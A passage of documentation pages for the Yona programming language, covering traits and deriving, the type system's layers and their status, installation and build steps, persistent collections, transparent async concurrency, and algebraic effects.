else b negate x = 0.0 - x end ``` Calling a trait method dispatches on the argument's type, resolved at compile time: ```yona abs (0 - 42) # => 42 (Num Int) max 3.14 2.71 # => 3.14 (Num Float) ``` ## Default methods A trait may supply a body for a method, used by any instance that does not override it: ```yona trait Eq a eq : a -> a -> Bool neq : a -> a -> Bool neq x y = if eq x y then false else true # default, in terms of eq end ``` An `instance Eq T` then needs only `eq`; `neq` comes for free. Defaults keep the *minimal complete definition* small while offering a rich call surface. ## Superclass constraints A trait can require another trait as a prerequisite: ```yona trait Eq a => Ord a compare : a -> a -> Int end ``` `Eq a => Ord a` reads: "to have an `Ord` instance, `a` must also have an `Eq` instance." Methods of the superclass are then available wherever the subclass constraint holds — an `Ord` context brings `eq` into scope. The compiler checks that every `instance Ord T` is accompanied by an `instance Eq T`. ## Constrained instances Instances themselves can be conditional on other instances — this is how traits lift over type constructors: ```yona instance Show a => Show (Option a) show opt = case opt of Some x -> "Some(" ++ show x ++ ")" None -> "None" end end ``` "`Option a` is showable whenever `a` is." The recursive `show x` call dispatches to whichever `Show a` instance the concrete element type supplies — resolved, as always, at compile time once `a` is known. ## Multi-parameter traits Traits may relate two types: ```yona trait Iterable a b toIterator : a -> Iterator b end instance Iterable String Int toIterator str = chars str # a String iterates as character codes end ``` The instance is keyed on both types. Multi-parameter traits express relationships such as "collection `a` yields elements `b`" or "`a` converts to `b`". Single-parameter traits are unaffected. ## Static resolution: what monomorphization implies Yona compiles polymorphic functions by **monomorphization**: each call site is compiled with concrete types (see [The type system](/guides/type-system/)). Trait dispatch rides on this — when a generic function using `compare` is instantiated at `Int`, the call compiles to a direct call to the `Ord Int` implementation. There is no vtable, no dictionary passing at runtime, no indirect branch: a trait method call costs exactly what a hand-written direct call costs. The flip side, stated plainly: - **No runtime polymorphism.** There are no trait objects and no `dyn Trait`-style values. You cannot build a list whose elements are "anything Showable" and dispatch per element at runtime — the element type must be known at compile time. - **Heterogeneous cases use ADTs.** When you genuinely need one value that is "one of several types", define an ADT with a constructor per case and pattern match; each arm then has a concrete type and traits apply normally. - **Code size over indirection.** Each distinct instantiation produces specialized code — the classic monomorphization trade. ## Traits and modules Traits and instances are exported like other declarations: ```yona module Geo\Core export trait Area export area trait Area a area : a -> Float end ``` Importers get the trait declaration and every instance from the module's `.yonai` interface. Instance methods are compiled with external linkage under predictable mangled names (`TraitName_TypeName__method`), so a call in an importing module resolves directly to the defining module's compiled code — cross-module dispatch is still static and still direct. When a generic function or derived method must be re-instantiated at a type the defining module never saw, its source travels in the interface and is monomorphized at the call site (see [Modules and interfaces](/guides/modules-interfaces/)). ## The built-in `Closeable` trait The `with` expression is trait-powered: at scope exit it calls the resource's `close` through the `Closeable` trait, on success or exception: ```yona with f = openFile "data.txt" Read in readAll f # f closed automatically at exit ``` Implementing `Closeable` for your own handle type makes it usable with `with` — and discharges its linear obligation, if it has one (see [Memory and linearity](/guides/memory/)). ## Auto-derive For the four structural traits — `Show`, `Eq`, `Ord`, `Hash` — the compiler can generate instances from an ADT's shape with a `deriving` clause: ```yona type Color = Red | Green | Blue deriving Show, Eq, Ord, Hash type Pair a b = Pair a b deriving (Show, Eq) # inline form ``` What each derivation produces: - **Show** — nullary constructors print their name; constructors with fields print `Name(f1, f2, …)`, fields shown via their own `Show`. ```yona show (Pair 1 2) # => "Pair(1, 2)" ``` - **Eq** — structural: same constructor and all fields `eq`. ```yona eq (Pair 1 2) (Pair 1 2) # => true ``` - **Ord** — `compare` returns -1, 0, or 1. Declaration order of constructors defines the ordering (first declared is smallest); same constructor compares fields lexicographically left to right. ```yona type Priority = Low | Medium | High deriving Ord compare Low High # => -1 compare (Version 2 0) (Version 1 9) # => 1 with type Version = Version Int Int ``` - **Hash** — mixes the constructor tag with field hashes. Derivation is recursive: polymorphic fields resolve through trait dispatch at the use site, so `type Option a = Some a | None deriving Show, Eq` works for any showable/comparable `a`. Derived instances are exported like hand-written ones and are usable across modules. Restrictions: types with function-typed fields can derive `Show` (functions print as ``) but not meaningfully `Eq`, `Ord`, or `Hash`; deriving on recursive types works, with the usual caveat that printing extremely deep structures recurses. `Int`, `Float`, `String`, `Bool`, and `Symbol` have built-in instances of all four traits (`Symbol` lacks `Ord`), which the derived code builds on. ## Worked example: Eq and Ord for a user ADT A card-game rank, with equality and ordering — first derived, then by hand to show what the clauses mean: ```yona type Rank = Jack | Queen | King | Ace deriving Show, Eq, Ord compare Jack Ace # => -1 (declaration order) eq Queen Queen # => true show King # => "King" ``` The hand-written equivalent, using a superclass-constrained `Ord`: ```yona trait Eq a eq : a -> a -> Bool end trait Eq a => Ord a compare : a -> a -> Int end type Rank = Jack | Queen | King | Ace instance Eq Rank eq a b = case (a, b) of (Jack, Jack) -> true (Queen, Queen) -> true (King, King) -> true (Ace, Ace) -> true _ -> false end end instance Ord Rank compare a b = let value r = case r of Jack -> 1 Queen -> 2 King -> 3 Ace -> 4 end in value a - value b end compare Ace Jack # => 3 (positive: Ace > Jack) ``` Generic code written against the constraint now works for `Rank` and every other `Ord` type, and each use compiles to direct calls on the concrete instance: ```yona let maxBy a b = if compare a b >= 0 then a else b in maxBy King Queen # => King ``` Prefer `deriving` when structural behavior is what you want; write the instance by hand when the semantics differ from structure — for example, a case-insensitive `Eq` or a domain-specific ordering. --- # The type system Source: https://yona-lang.org/guides/type-system/ Yona is statically typed with full type inference. You rarely write a type annotation; the compiler reconstructs principal types, monomorphizes generic code to concrete machine code, and layers several extensions on the core: algebraic data types, traits, row-polymorphic records, effect rows, linear types, and refinement checks. This page maps the whole system and is honest about which layers are complete and which are still partial. Status badges next to each heading reflect the current implementation, not the design goal. ## Hindley–Milner core Stable The foundation is Hindley–Milner inference with let-polymorphism. Every well-typed expression has a **principal type** — the most general type of which every other valid type is an instance — and the compiler finds it without annotations: ```yona let twice f x = f (f x) in twice (\n -> n + 1) 40 # => 42 ``` `twice` is inferred as `(a -> a) -> a -> a`. A `let`-bound function is generalized over the type variables not fixed by its environment and may be used at several different types in the same scope: ```yona let pair x y = (x, y) in (pair 1 2, pair "a" "b") # => ((1, 2), ("a", "b")) ``` ### Monomorphization Polymorphism is a compile-time phenomenon only. At each call site the compiler instantiates the function at the concrete argument types and compiles a specialized native version — the same strategy as Rust generics or C++ templates, and unlike the uniform boxed representation of OCaml or Haskell. Polymorphic code therefore pays no boxing, no tags, and no dynamic dispatch at runtime. *Implementation note.* Functions are stored as AST at definition and compiled at the call site where argument types are known. Exported generic functions carry their source text in `.yonai` interface files so importing modules can re-instantiate them at new types (see [Modules and interfaces](/guides/modules-interfaces/)). ## Algebraic data types Stable ADTs declare a closed set of constructors with typed fields. Constructors are first-class functions, and pattern matching is the elimination form: ```yona type Shape = Circle Float | Rect Float Float let area s = case s of Circle r -> 3.14159 * r * r Rect w h -> w * h end in area (Rect 3.0 4.0) # => 12.0 ``` Fields may have function types (`type Lazy a = Cons a (() -> Lazy a) | Empty`), and types may be recursive and polymorphic. The prelude types `Option a`, `Result a e`, `Linear a`, and `Iterator a` are ordinary ADTs. ### Exhaustiveness Partial The compiler warns when an `Option`/`Result`/other ADT value is silently discarded in a `do` block or bound to `_` (`-Wunmatched-adt`, enabled by `-Wall`). Full compile-time exhaustiveness checking of `case` expressions is not finished: a `case` that misses a constructor is today reported with a runtime "non-exhaustive match" message rather than a compile-time warning. Write a catch-all arm or match every constructor. ## Traits Stable Traits are type classes resolved entirely at compile time — static dispatch, superclass constraints (`trait Eq a => Ord a`), default methods, constrained instances (`instance Show a => Show (Option a)`), and multi-parameter traits: ```yona trait Eq a eq : a -> a -> Bool neq : a -> a -> Bool neq x y = if eq x y then false else true # default method end ``` Because dispatch is monomorphized, trait calls cost the same as direct calls — and there are no runtime trait objects. The full treatment, including auto-derive, is in [Traits](/guides/traits/). ## Record-row polymorphism Stable Record types unify by **row**: a function that reads a field accepts any record that has that field, and the rest of the record stays polymorphic: ```yona let greet r = "hello, " ++ r.name in greet { name = "Alice", age = 30 } # => "hello, Alice" ``` `greet` is inferred as `{ name : String | r } -> String` — the row variable `r` stands for "whatever other fields the record has". Missing fields and field type mismatches are compile-time errors. Record rows are structural; they are distinct from the effect rows on function arrows below. One limitation: open row variables on records are not yet printed into `.yonai` interface signatures, so cross-module functions may show concretized record types even where the checker inferred an open row. ## Effect rows Partial Function arrows carry a **latent effect row** — the set of effect operations the function may perform, written `!{Effect.op}`: ```yona (\x -> perform State.get ()) # : a -> !{State.get} Int ``` The rules: - **`perform Effect.op`** adds the label to the ambient row when no enclosing `handle` covers it. - **`handle … with …`** subtracts the operations its clauses cover; anything left escapes to the outer row. - **Application** unions the callee's latent row into the caller's row. At the top level of a program, applying a function whose row is not fully handled is error **E0202**, reported at the introducing `perform` with a note at the call site. - **Higher-order functions** keep an *open rest* `|r`: `apply : (a -> !{|r} b) -> a -> !{|r} b`, so passing an effectful function threads its row through and E0202 still fires at the outermost unhandled point. - **Recursive definitions** solve `r ~ !{L | r}` as the least fixed point `r := !{L}` rather than reporting an infinite type. ```yona # The call site must handle the latent effects of f handle f 0 with State.get () resume -> resume 7 return val -> val end # => 7 ``` Rows survive module boundaries: exported functions record `effects Fs.read` (closed) or `effects | hof` (`apply f x = f x`) on the `.yonai` `FN` line. Imports restore that row for call-site E0202. Siblings are typechecked as a unit, so wrapping an effectful helper exports the helper's row. A missing `effects` field means unknown, not pure. Honest limitations: `effect Name … end` declarations do not parse yet (an operation's identity is its `Effect.op` label at the `perform` site), handlers are shallow in-scope dispatch rather than captured delimited continuations, and an empty row is not yet usable as a totality/purity guarantee. See [Effects](/learn/effects/) for the practical guide. ## Linear types Partial `Linear a` marks a value that must be consumed **exactly once** — file handles, sockets, process handles, channel endpoints. Pattern matching on the `Linear` constructor is the consumption point; rebinding transfers the obligation: ```yona let conn = Linear (tcpConnect "host" 8080) in let conn2 = conn in # obligation transferred to conn2 send conn "hello" # error E0600: conn already consumed ``` A flow-sensitive linearity checker tracks each linear binding as live or consumed, requires branches of `if`/`case` to agree on what they consume (E0601), and warns when a linear value is still live at scope exit — a resource leak. `with` is the idiomatic consumer and discharges the obligation automatically. Details and examples are in [Memory and linearity](/guides/memory/). Honest limitations: `Linear` is a prelude ADT tracked by a dedicated checker, not a first-class linear arrow in the HM core; the diagnostics do not currently fail compilation; leak detection is a warning; and the checker runs on expression programs but not yet inside module top-level compilation. ### `@borrow` parameters Stable `@borrow` before a parameter declares a read-only, non-escaping contract: the callee may use the value but not return it, store it, or capture it in a closure. The compiler verifies the contract (error **E0603** on violation) and skips reference-count traffic for the parameter. Borrow information is inferred automatically even without the annotation; writing `@borrow` documents the contract and turns a future violation into a compile error instead of a silent deoptimization. ```yona import foldl from Std\List in let sum @borrow xs = foldl (\a b -> a + b) 0 xs in sum [1, 2, 3] # => 6 ``` ## Refinement types Partial A refinement checker proves simple value-level facts and reports error **E0500** when an operation's precondition cannot be established: `head`/`tail` on a sequence not proven non-empty, and division by a value not proven non-zero. ```yona let first xs = case xs of [h|t] -> h # h proven present by the pattern [] -> 0 end in first [7, 8] # => 7 ``` Facts flow from pattern matches (`[h|t]` proves non-empty) and literals (a non-zero literal divisor is accepted). Honest limitations: refinement syntax like `{ x : Int | x > 0 }` parses but predicates are not enforced at function signatures, refinements are erased before codegen, they do not appear in `.yonai`, and the checker is non-blocking and skipped for module compilation. ## What is checked where Yona has two compilation entry points, and they differ in which passes run: - **Expression programs** (a `.yona` file whose top level is an expression, or `yonac -e`): parse → HM type checking → the non-blocking refinement and linearity checkers → codegen. All diagnostics described on this page can appear. - **Module compilation** (a `.yona` file declaring `module …`): parse → HM type checking → codegen, producing a native object file plus a `.yonai` interface. The refinement and linearity checkers are currently **skipped** for module top levels. The `.yonai` interface is the contract at module boundaries. It carries each export's arity and types, effect rows (including open rests), inferred borrow masks, `LINEAR` markers on resource-producing functions, trait and instance tables, ADT definitions, and the source text of generic functions for cross-module monomorphization. Importers re-check calls against these signatures, so a type error at a module boundary is caught at the caller even though the callee was compiled separately. ## Summary | Layer | Status | |-------|--------| | HM inference, principal types, monomorphization | Stable | | ADTs and pattern matching | Stable | | Case exhaustiveness diagnostics | Partial | | Traits (static dispatch, superclasses, defaults) | Stable | | Record-row polymorphism | Stable | | Effect rows, E0202 | Partial | | Linear types, E0600/E0601 | Partial | | `@borrow`, E0603 | Stable | | Refinements, E0500 | Partial | The [language specification](/reference/specification/) is the normative reference for the stable layers. --- # Installation Source: https://yona-lang.org/install/ Every installation provides two executables: - **`yonac`** — the compiler. Compiles `.yona` source to native executables, object files, or LLVM IR. - **`yona`** — the REPL, in compile-and-run mode. ## Packages (recommended) | Platform | Command | |----------|---------| | Fedora / RHEL | `sudo dnf copr enable kovariadam/yona && sudo dnf install yona` | | Ubuntu / Debian | `sudo add-apt-repository ppa:kovariadam/yona && sudo apt update && sudo apt install yona` | | Arch Linux | `yay -S yona-bin` | | macOS / Linuxbrew | `brew install akovari/tap/yona` | | Windows | MSI or ZIP from [GitHub Releases](https://github.com/yona-lang/yonac-llvm/releases/latest) | Distro packages place the compiler sysroot (standard library sources, interface files, runtime objects) under `/usr/lib/yona` or `/usr/lib64/yona`; Homebrew uses `$(brew --prefix)/lib/yona`. The compiler locates its sysroot automatically; `--sysroot` overrides it. Verify the installation: ```bash yonac -e 'let fib n = if n <= 1 then n else fib (n-1) + fib (n-2) in fib 10' # => 55 ``` ### macOS notes The Homebrew formula builds from source against Homebrew `llvm`, `lld`, `pcre2`, and `cli11` (Apple Silicon, Intel, and Linuxbrew). Wrappers on `PATH` set `YONA_HOME` and `YONAC_CC` so the keg-only LLVM is used when compiling Yona programs. Optional GPU support via MoltenVK: ```bash brew install akovari/tap/yona --with-vulkan ``` ### Ubuntu note PPA builds compile from source on Launchpad. If your series has no published package yet, build a binary `.deb` from a release tarball: ```bash ./dist/debian/build-deb-from-release.sh 0.1.3 amd64 sudo apt install ./dist/debian/yona_0.1.3-1_amd64.deb ``` ## Building from source Prerequisites on all platforms: - **LLVM 22+** recommended (16+ may work when `find_package(LLVM)` succeeds) - **CMake 3.10+** and **Ninja** - A **C++23** compiler (Clang recommended) - **PCRE2** (optional — enables `Std\Regex`) ### Fedora / RHEL ```bash sudo dnf install llvm llvm-devel llvm-libs llvm-static \ clang lld lld-devel cmake ninja-build pcre2-devel cli11-devel \ libxml2-devel doctest-devel pkgconf git clone https://github.com/yona-lang/yonac-llvm.git cd yonac-llvm cmake --preset x64-release-linux cmake --build --preset build-release-linux ``` ### Ubuntu / Debian ```bash sudo apt install llvm-dev clang lld liblld-dev libpolly-dev cmake ninja-build \ libpcre2-dev libcli11-dev libxml2-dev doctest-dev pkg-config git clone https://github.com/yona-lang/yonac-llvm.git cd yonac-llvm cmake --preset x64-release-linux cmake --build --preset build-release-linux ``` ### macOS ```bash brew install llvm lld cmake ninja pcre2 cli11 doctest pkgconf git clone https://github.com/yona-lang/yonac-llvm.git cd yonac-llvm cmake --preset x64-release-macos cmake --build --preset build-release-macos ``` ### Windows Windows presets (`x64-debug`, `x64-release`) use Ninja with Clang from a prebuilt **`clang+llvm-*-x86_64-pc-windows-msvc`** archive, plus the MSVC toolset for the linker and Windows SDK. Extract the LLVM archive to a short path and set `LLVM_INSTALL_PREFIX` to its root (the directory containing `bin`, `lib`, `include`). The archive must be the complete tree — a Clang-only installer omits libraries that `find_package(LLVM)` requires. See [INSTALL.md](https://github.com/yona-lang/yonac-llvm/blob/master/INSTALL.md) in the repository for the full Windows walkthrough, GPU/Vulkan options, and troubleshooting. ## Optional: GPU runtime `Std\GPU` works everywhere with a CPU fallback. For Vulkan execution, configure with `-DYONA_ENABLE_VULKAN=ON` and install a Vulkan loader (Fedora: `vulkan-devel vulkan-loader-devel`; macOS: MoltenVK via Homebrew). Details: [Accelerators](/guides/accelerators/). ## Next Continue to the [quick start](/learn/quick-start/). --- # Collections Source: https://yona-lang.org/learn/collections/ Yona's built-in collections — sequences, dictionaries, and sets — are **persistent**: every operation returns a new value and never modifies the original. Versions share structure, so "copying" is cheap, and any value can be handed to another thread without defensive copies or locks. ## Literals ```yona [1, 2, 3] # sequence ["a", "b", "c"] (1, "hello", true) # tuple (fixed arity, not a collection) {name: "Alice", age: 30} # dictionary — key: value {1, 2, 3} # set {} # empty — usable as an empty dict or set [1..10] # integer range sequence ``` Empty braces `{}` denote the empty hash trie, which serves as both the empty dictionary and the empty set — the first insertion determines which you have. ## Structural sharing An "update" allocates only the path from the root to the change; everything else is shared with the original: ```yona import put from Std\Dict in let original = {1: "one", 2: "two", 3: "three"} in let updated = put original 4 "four" in # original still has 3 entries; updated has 4. # They share the subtrees holding keys 1–3. ``` Because values never change in place, equality of versions is structural and old versions remain valid — undo stacks and snapshots are free. ## Sequences Sequence literals are written `[1, 2, 3]`. Prepending, head, and tail are O(1); indexing is O(1) for small sequences and O(log₃₂ n) for large ones. Implementation note. Sequences use a hybrid representation: up to 32 elements live in a flat array with an offset-based O(1) tail; larger sequences become a radix-balanced trie with a head chain that absorbs prepends. When a sequence's reference count is 1, cons and tail mutate in place, making recursive list processing nearly allocation-free. ### Sequence operators ```yona 0 :: [1, 2, 3] # => [0, 1, 2, 3] — cons (prepend), O(1) [1, 2] ++ [3, 4] # => [1, 2, 3, 4] — concatenation, O(n) ``` `::` is right-associative, so `1 :: 2 :: [3]` is `[1, 2, 3]`. ### Append, remove, membership Partial The grammar also defines `seq :> elem` (append at the end), `a -- b` (remove elements of `b` from `a`), and `x in coll` (membership test), but compiler support for these three is currently limited. Use `xs ++ [x]` to append, `Std\List::filter` to remove, and `Std\List::contains` / `Std\Dict::contains` / `Std\Set::contains` for membership. ## Dictionaries Dictionary literals pair keys and values with `:`. Lookup, insert, and membership are O(1) amortized. ```yona import put, get, contains, size, keys from Std\Dict in let d = {10: 100, 20: 200} in let d2 = put d 30 300 in get d2 30 0 # => 300 (third argument is the default) get d2 99 0 # => 0 contains d2 20 # => true size d2 # => 3 keys d2 # => [10, 20, 30] (order not specified) ``` `get` never throws — it takes a default to return for missing keys. For streaming access, `entries`, `keysIter`, and `values` return `Iterator`s that walk the trie with O(1) memory per element; `forEach` applies a two-argument callback to every entry. Full API: [Std\Dict](/stdlib/dict/). Implementation note. Dictionaries are Hash Array Mapped Tries (HAMT) with splitmix64 hashing — at most 7 levels deep. Inserts into a node with reference count 1 mutate in place, so building a large dict in a loop allocates only for trie growth, not per insert. ## Sets Set literals list elements in braces. Sets share the HAMT machinery with dictionaries, with the same complexities. ```yona import insert, contains, union, intersection, difference, elements from Std\Set in let a = {1, 2, 3, 4, 5}, b = {3, 4, 5, 6, 7} in contains a 3 # => true Std\Set::size (union a b) # => 7 Std\Set::size (intersection a b) # => 3 elements (difference a b) # => [1, 2] (order not specified) insert a 6 # => {1, 2, 3, 4, 5, 6} — a unchanged ``` Inserting an element that is already present is a no-op. Full API: [Std\Set](/stdlib/set/). ## Generators (comprehensions) A generator builds a collection from a source sequence or iterator. The general form is `[expr for pattern = source]`, with an optional guard introduced by `, if`: ```yona [x * 2 for x = [1, 2, 3]] # => [2, 4, 6] [x for x = [1, 2, 3, 4, 5, 6], if x > 3] # => [4, 5, 6] ``` Set and dictionary generators use braces; the dict form gives `key : value`: ```yona {x * 2 for x = [1, 2, 3]} # => {2, 4, 6} {x : x * 10 for x = [1, 2, 3]} # => {1: 10, 2: 20, 3: 30} ``` Guards work in all three: ```yona {x : x * x for x = [1, 2, 3, 4], if x % 2 == 0} # => {2: 4, 4: 16} ``` Implementation note. Generators compile to counted loops, not chains of closures. A guarded generator uses two passes — count matches, then fill — so the result is allocated exactly once. ### Parallel generators `[| … ]` evaluates the body for each element **concurrently** on the runtime's thread pool, collecting results in order. If any task fails, the remaining tasks are cancelled: ```yona [| x * 2 for x = [1, 2, 3, 4, 5] ] # => [2, 4, 6, 8, 10] [| httpGet url for url = urls ] # all requests in flight at once ``` Use it for I/O-bound or CPU-heavy per-element work; for trivial bodies the sequential form is faster. See the [concurrency guide](/learn/concurrency/). ## Stream fusion When a generator is bound in a `let` and consumed exactly once by another generator, the compiler **fuses** the two into a single loop — the intermediate sequence is never materialized: ```yona let nums = [1, 2, 3, 4, 5] in let doubled = [x * 2 for x = nums] in # fused into the next line [x for x = doubled, if x > 4] # => [6, 8, 10] — one loop, no temp list ``` Write map/filter pipelines naturally; the staging costs nothing as long as each intermediate binding is used exactly once. A binding referenced more than once is materialized as a real sequence. ## Core Std\List functions `Std\List` operates on sequences. The essentials: ```yona import map, filter, foldl, foldr, length, reverse, take, drop, zip, zipWith, sum, product, sortBy, partition, find, flatten from Std\List in map (\x -> x * 2) [1, 2, 3] # => [2, 4, 6] filter (\x -> x > 2) [1, 2, 3, 4] # => [3, 4] foldl (\acc x -> acc + x) 0 [1, 2, 3] # => 6 foldr (\x acc -> x :: acc) [] [1, 2, 3] # => [1, 2, 3] length [1, 2, 3] # => 3 reverse [1, 2, 3] # => [3, 2, 1] take 2 [1, 2, 3, 4] # => [1, 2] drop 2 [1, 2, 3, 4] # => [3, 4] zip [1, 2, 3] [10, 20, 30] # => [(1, 10), (2, 20), (3, 30)] zipWith (\a b -> a + b) [1, 2] [10, 20] # => [11, 22] sum [1, 2, 3, 4, 5] # => 15 product [1, 2, 3, 4] # => 24 sortBy (\a b -> a - b) [3, 1, 4, 1, 5] # => [1, 1, 3, 4, 5] partition (\x -> x > 2) [1, 2, 3, 4] # => ([3, 4], [1, 2]) find (\x -> x > 3) [1, 2, 5, 4] # => (:some, 5) flatten [[1, 2], [3], [4, 5]] # => [1, 2, 3, 4, 5] ``` `foldl` is tail-recursive — use it for aggregation over long sequences. `head` and `tail` crash on empty input; prefer pattern matching with a `[]` case (see [Pattern matching](/learn/pattern-matching/)). The full list — `any`, `all`, `flatMap`, `enumerate`, `intersperse`, `scanl`, `groupBy`, and more — is in [Std\List](/stdlib/list/). ## Choosing a collection - **Sequence** — ordered data, head-tail recursion, pipelines. O(1) cons/head/tail. - **Dictionary** — keyed lookup. O(1) amortized get/put. - **Set** — membership and set algebra. O(1) amortized insert/contains. - **Tuple** — a fixed number of possibly differently-typed values; not iterable. ## Where to next - [Persistent data structures guide](/guides/persistent-data-structures/) — representations, complexity tables, and benchmarks. - [Std\List](/stdlib/list/), [Std\Dict](/stdlib/dict/), [Std\Set](/stdlib/set/) — complete APIs, and the rest of the [standard library](/stdlib/). - [Pattern matching](/learn/pattern-matching/) — destructuring sequences and tuples. --- # Concurrency Source: https://yona-lang.org/learn/concurrency/ Yona has no `async` or `await` keywords. I/O and other asynchronous operations return promises *internally*; the compiler inserts an await automatically at the first point where the value is actually used. Your code reads as if it were synchronous, and independent work runs in parallel without any annotation. This page describes the user-level model. For the runtime machinery — io_uring, the thread pool, task groups, cancellation — see [Concurrency internals](/guides/concurrency/). ## Independent `let` bindings run in parallel When a `let` expression has several bindings that do not depend on each other, every asynchronous right-hand side is **submitted before any of them is awaited**: ```yona import readFile from Std\File in let a = readFile "foo.txt", b = readFile "bar.txt", c = readFile "baz.txt" in a ++ b ++ c ``` All three reads start immediately; the first await happens at the `++` in the body, where the string values are needed. Elapsed time is approximately the **maximum** of the three read times, not their sum. The ordering guarantee is precise: - Binding right-hand sides are *submitted* in source order, but the program does not wait for one to complete before submitting the next. - A binding that mentions an earlier binding's name depends on its value, so the dependency is awaited first. `let a = readFile p, b = process a in b` runs sequentially because `b` needs `a`. - The body's first *use* of a bound value awaits it. Unused promise-valued bindings are still awaited before the `let` scope exits, so no work leaks past the scope. ## Contrast with JavaScript-style await In JavaScript, `await` is explicit and each one is a sequencing point: ```javascript const a = await readFile("foo.txt"); const b = await readFile("bar.txt"); // starts only after a completes! ``` Getting parallelism back requires restructuring into `Promise.all`. In Yona the parallel version *is* the naive version: ```yona let a = readFile "foo.txt", b = readFile "bar.txt" in a ++ b ``` There are no "colored" functions: an effectful function is called exactly like a pure one, and callers never change shape when a function becomes asynchronous. ## Auto-await at use sites The type system tracks asynchronous values as `Promise` internally. When a `Promise` appears where a `T` is expected — an operator operand, a function argument, a condition — the compiler records a coercion and the runtime awaits at that point: ```yona import readFile from Std\File, split from Std\String in let content = readFile "data.txt" in # content: Promise internally let lines = split "\n" content in # first use — awaited here length lines # lines is a plain Seq, no await ``` You never see the `Promise` type in ordinary code and never write an await. *Implementation note.* Two backends serve these promises. Kernel I/O (files, sockets) is submitted to io_uring on Linux (IOCP on Windows, kqueue on macOS) and returns a submission ID immediately. CPU-bound or blocking operations run on a work-stealing thread pool. The await coercion picks the matching completion call; when io_uring is unavailable (some containers), the runtime falls back to blocking I/O transparently. ## Error propagation and cancellation A multi-binding `let` forms an implicit **task group**. If one binding raises, its siblings are cancelled — queued thread-pool tasks are skipped and in-flight kernel I/O is cancelled — and the error propagates to the caller after the group has quiesced: ```yona let a = readFile "exists.txt", b = readFile "missing.txt" # raises in a ++ b # The read of "exists.txt" is cancelled; the error propagates. ``` No exception escapes while sibling tasks are still running, and no task outlives the `let` scope that created it. This is structured concurrency without any scope syntax. ## `do` for guaranteed sequential effects Expressions in a `do` block execute strictly top to bottom; the last expression is the block's value. Use `do` when *ordering itself* is the point — two or more writes, protocol steps, anything where interleaving would be wrong. A single call does not need `do`. ```yona import println from Std\IO in do println "first" println "second" end # first # second ``` `do` blocks support intermediate bindings with `name = expr`, which also execute in order: ```yona do fd = tcpConnect "localhost" 8080 send fd "hello" response = recv fd 4096 close fd response end ``` Rule of thumb: `let` for values (the compiler may parallelize independent bindings), `do` for effects (the compiler must not reorder). A `do` block never runs its steps concurrently, even when they look independent. ## `with` for scoped resources `with name = resource in body` binds a resource for the extent of `body` and releases it deterministically when the body completes: ```yona with handle = tcpConnect "localhost" 8080 in send handle "hello" # handle is closed here after the body completes ``` The resource's type must implement the `Closeable` trait; this is checked at compile time, and a type without a `Closeable` instance is a compile error (not a warning). The built-in `Closeable Int` instance covers file descriptors and sockets; `Closeable FileHandle` covers binary file handles. Release order for nested `with` scopes is innermost first: ```yona with server = tcpListen "0.0.0.0" 9000 in with client = tcpAccept server in recv client 1024 # client closed first, then server ``` *Current limitation.* Release runs when the body completes normally; if an exception propagates out of the body, `close` is not currently invoked on the unwind path. Combine `with` and `try`/`catch` inside the body when you must handle failures before the scope exits. ## Parallel comprehensions `[| expr for var = source ]` evaluates the body for every element **concurrently**, one thread-pool task per element, and collects results in source order: ```yona [| x * 2 for x = [1, 2, 3, 4, 5] ] # => [2, 4, 6, 8, 10] [| httpGet url for url = urls ] # all requests in flight at once ``` The tasks form a task group with the same guarantees as a multi-binding `let`: if any element's task raises, the remaining tasks are cancelled and the error propagates. Result order is always the source order regardless of completion order. Ordinary comprehensions `[ expr for var = source ]` remain sequential; the `[|` opener is the only difference. ## `extern async` Foreign C functions can join the transparent-async model. The `async` modifier submits the call to the thread pool and returns a promise immediately, with the usual auto-await at use sites: ```yona extern async slowCompute : Int -> Int in let a = slowCompute 40, b = slowCompute 2 in a + b # both C calls run concurrently; total ≈ max, not sum ``` Standard-library I/O is declared the same way in module interfaces, which is why `Std\File`, `Std\Net`, and `Std\Process` calls parallelize with no user action: ```yona import exec from Std\Process in let build = exec "make build", test = exec "make test", lint = exec "make lint" in (build, test, lint) # all three subprocesses run in parallel ``` ## Beyond the basics Transparent async covers independent operations with results. For pipelines, work queues, and actor-style tasks, `Std\Channel` provides bounded channels and `Std\Task` provides `spawn`; `Std\Parallel` provides `pmap` and `pfor`. These build on the same runtime and integrate with task-group cancellation. See [Concurrency internals](/guides/concurrency/) for channels, deadlock detection, and the scheduler, and the [specification](/reference/specification/) for the formal semantics. --- # Effects Source: https://yona-lang.org/learn/effects/ Partial — `perform`, `handle`, and **closed** latent effect sets on lambdas work today. Applying an unhandled effectful function is **E0202**. Handlers are shallow in-scope dispatch (`resume` is an identity continuation, not a captured continuation). Open rows and standalone `effect` declarations are not implemented yet. Algebraic effects separate *what* a computation requests from *how* the request is served. A function says `perform Log.log msg`; the **caller** decides whether that means a file append, a network call, or nothing at all. The same function works in production, in tests, and in a REPL without changing a line. ## `perform` and `handle` `perform Effect.op arg` requests operation `Effect.op` from the nearest enclosing `handle` that covers it. A handler clause receives the operation's arguments plus a `resume` continuation; calling `resume value` returns `value` to the `perform` site and continues the handled expression: ```yona handle let x = perform State.get () in x + 1 with State.get () resume -> resume 41 return val -> val end # => 42 ``` Reading the example: the body performs `State.get ()`. The handler's `State.get` clause answers with `resume 41`, so the `perform` expression evaluates to `41`, the body continues, and produces `42`. The `return` clause then transforms the body's normal result — here it is the identity. The general shape is: ```yona handle with Effect.op args resume -> ... return val -> end ``` - Operations are identified by their `Effect.op` label at the `perform` site. There is no separate declaration step today — `effect ... end` declaration blocks are planned but do not parse yet. - The `return val -> …` clause runs on the body's *normal* result (not on each `resume`). It is optional and defaults to identity. - Nested handlers shadow outer ones for the operations they cover: the innermost covering `handle` wins. ```yona handle handle perform State.get () with State.get () resume -> resume 99 return val -> val end with State.get () resume -> resume 0 return val -> val end # => 99 (the inner handler answers) ``` ## Effect rows on function types Function arrows carry a **latent effect row**: the operations the function may perform, plus an optional open rest. The compiler infers this from `perform` and from applying other effectful functions. You never write the row in source; it appears in diagnostics as `!{Effect.op}`: ```yona \x -> perform State.get () # a -> !{State.get} b \f x -> f x # (a -> !{|r} b) -> a -> !{|r} b ``` What is implemented today: - **`perform`** inside a lambda, when no covering `handle` is in scope, is recorded on that function's row. - **Application unions** the callee's uncovered ops (and open rest) into the enclosing function — so `let apply = \f x -> f x` and `let g = \() -> f ()` propagate effects. - **`handle` subtracts** the operations its clauses cover. Ops not covered escape into the enclosing row. - **`handle` covers apply.** Applying the function inside a handler for those operations is accepted — including `let f = \x -> perform E.op x in handle f v with …`. - **Application of an uncovered row is E0202** (below). - **Direct `perform`** with no enclosing lambda and no handler stays a `-Wunhandled-effect` warning. Closed 